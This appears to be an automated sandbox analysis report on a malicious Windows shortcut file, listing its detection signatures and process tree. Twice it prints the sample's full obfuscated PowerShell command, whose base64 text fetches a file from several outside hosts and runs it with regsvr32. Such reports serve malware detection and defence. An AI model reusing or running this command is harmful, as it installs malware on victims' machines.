Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2024, 09:40

General

  • Target
    997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5.lnk
  • Size 3KB
  • Sample241113-lnf6jaspbp
  • SHA256 997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /v:on /c XxlJPJBQkT46VdMdQigOB930G4w8r3fGWLHDECTcu2Gvw/5R92JhPqlNre7LjMzY55k/aHQl||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2372

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_hpnfiwjy.v1w.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hpnfiwjy.v1w.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/2372-0-0x00007FF8CE0A3000-0x00007FF8CE0A5000-memory.dmp

        memory/2372-1-0x000001E8465E0000-0x000001E846602000-memory.dmp

        memory/2372-11-0x00007FF8CE0A0000-0x00007FF8CEB61000-memory.dmp

        memory/2372-12-0x00007FF8CE0A0000-0x00007FF8CEB61000-memory.dmp

        memory/2372-15-0x00007FF8CE0A0000-0x00007FF8CEB61000-memory.dmp